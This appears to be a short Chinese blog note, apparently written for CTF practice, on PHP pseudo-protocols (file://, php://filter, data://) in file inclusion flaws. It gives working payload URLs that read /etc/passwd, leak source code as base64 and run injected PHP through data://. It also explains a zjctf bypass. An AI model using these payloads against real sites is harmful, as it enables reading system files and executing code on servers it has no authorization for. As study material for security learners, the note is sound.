Skip to content

PHP伪协议

file://协议

用来读取本地的文件,当用于文件读取函数时可以用。

常见检测是否存在漏洞写法:

<www.xxx.com/?file=file:///etc/passwd>

此协议不受allow_url_fopen,allow_url_include配置影响

php://filter协议

此协议一般用来查看源码

一般用法如下

<www.xxx.xxx/?file=php://filter/read=covert,base64-encode/resource=index.php>

出来的是base64码需要进行解码

此协议不受allow_url_fopen,allow_url_include配置影响

data://协议

需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:

bash
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain,表示的是文本

text/plain;base64, 若纯文本没用可用base64编码

bash
text=data://text/plain,(字符)

当遇到: file_get_contents($text,'r')==="welcome to the zjctf" 的时候

这个方法会从文件中读取文本

如果直接使用$text=welcome to the zjctf, 他会被当作一个文件;

如果使用使用了text=data://text/plain, 可以标记为纯文本;

php://filter

php://filter 允许我们指定任何有效的文件路径作为资源,包括 PHP 脚本文件本身

md
PHP 支持多种过滤器,包括但不限于:

convert.base64-encode: 将数据编码为 Base64。
convert.base64-decode: 将 Base64 编码的数据解码回原始数据。
convert.utf8-encode: 将数据编码为 UTF-8。
convert.utf8-decode: 将 UTF-8 编码的数据解码回原始数据。
convert.iconv: 使用 iconv 扩展进行字符集转换。
string.strip_tags: 移除 HTML 和 PHP 标签。
string.toupper: 将字符串转换为大写。
string.tolower: 将字符串转换为小写。
string.trim: 删除字符串两端的空白字符或其他预定义字符。
zlib.deflate: 使用 zlib 扩展进行数据压缩。
zlib.inflate: 使用 zlib 扩展解压缩数据。
bash
?file=php://filter/convert.base64-encode/resource=index.php
本站访客数 人次 本站总访问量